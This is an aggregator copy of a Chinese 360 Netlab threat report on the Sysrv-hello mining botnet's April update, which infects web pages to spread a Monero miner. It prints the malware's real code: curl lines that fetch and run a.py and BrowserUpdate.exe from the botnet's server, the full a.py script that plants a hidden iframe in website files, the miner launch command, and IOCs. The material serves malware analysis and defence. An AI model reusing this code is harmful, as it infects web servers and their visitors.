5

威胁快讯:Sysrv-hello再次升级,通过感染网页文件提高传播能力

 4 years ago
source link: https://blog.netlab.360.com/wei-xie-kuai-xun-z0miner-zheng-zai-li-yong-elasticsearch-he-jenkins-lou-dong-da-si-chuan-bo/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

版权声明: 本文为Netlab原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。

从去年末到现在,挖矿类型的botnet家族一直活跃,除了新家族不断出现,一些老家族也频繁升级,主要是为了提高传播能力和隐蔽性,我们的 BotMon 系统对此多有检测[rinfo][z0miner]。最新的案例来自Sysrv-hello,本来近期已经有2家安全公司先后分析过该家族的新变种[1][2],但文章刚出来sysrv的作者就在4月20号再次进行升级,增加了感染网页的能力,本文对此做一分析。

新模块a.py和BrowserUpdate.exe

我们知道sysrv能同时感染Linux和Windows系统,其入口为一个脚本文件,Linux下为bash脚本,最常见的文件名是ldr.sh,Windows下为PowerShell脚本ldr.ps1,这次升级只在ldr.sh中检测到,bash脚本中添加了如下代码:

curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &

能看到加了2个新模块:a.py和BrowserUpdate.exe,其中a.py会被ldr.sh直接执行。

分析下载回来的a.py文件发现其为一个Python程序,体积并不大,代码只有20行:

import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or ("<head>" not in data):
                        continue
                with open(path, "w") as f:
                    f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
            except:
                continue
            dst = os.path.join(root, "BrowserUpdate.exe")
            os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")

这段代码的功能是遍历"/var"、"/usr/local"、"/home""/opt"目录,寻找具有".html"、".php"、".htm"、".jsp"、".asp"或者".tpl"后缀的网页文件,找到后就在其中插入一段iframe代码:

<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>

这样,如果有人访问修改后的网页,那么就会下载并有可能执行BrowserUpdate.exe,所以a.py的功能其实就是通过篡改网页来传播BrowserUpdate.exe,下面再来看看这个exe程序为何物。

BrowserUpdate.exe是一个PE32程序,加了UPX壳,VT扫描结果显示它是CoinMiner类型的恶意程序,该exe运行后会释放2个64位的PE文件:

CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)

然后BrowserUpdate.exe会通过如下命令运行释放的程序:

cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo

上面的命令包含了矿池和钱包信息,目的是启动挖矿行为,所释放的exe和sys其实正好是一组xmrig套件,其中ModuleInstaller.exe为主程序,会加载WinRing0x64.sys驱动,对它们业界早有分析,这里不再赘述。

通过上面的分析不难看出,Sysrv-hello的这次升级主要是为了提高传播能力,通过Linux服务器间接感染Windows机器: 如果被ldr.sh感染的Linux机器为WEB服务器,不但该机器自身会沦为矿工,其上的网页文件也会被篡改,所有访问该服务器的Windows机器都有感染BrowserUpdate.exe并沦为Sysrv-hello矿工的风险。

考虑到sysrv已经多次升级,我们预计这次升级也只是中间一环而已,后面应该还会有新的动作,对此我们会保持关注,有新的进展将会及时公布。

感兴趣的读者,可以通过twitter或者邮件netlab[at]360.cn联系我们。

833822feda97936d690ff6b983ad1a87  ldr.sh
645647171d92e1fe289b63bbd2f2db86  a.py
048aa5b804cde0768111c633e0faa028  BrowserUpdate.exe
a7013a2c7fd3a6168a7c0d9eed825c32  MODULEINSTALLER.EXE
0c0195c48b6b8582fa6f6373032118da  WINRING0X64.SYS
http://194.145.227.21/ldr.sh
http://194.145.227.21/a.py
http://194.145.227.21/BrowserUpdate.exe
http://194.145.227.21/sys.i686

矿池和钱包

矿池: xmr-eu2.nanopool.org:14444
钱包:41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo

Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK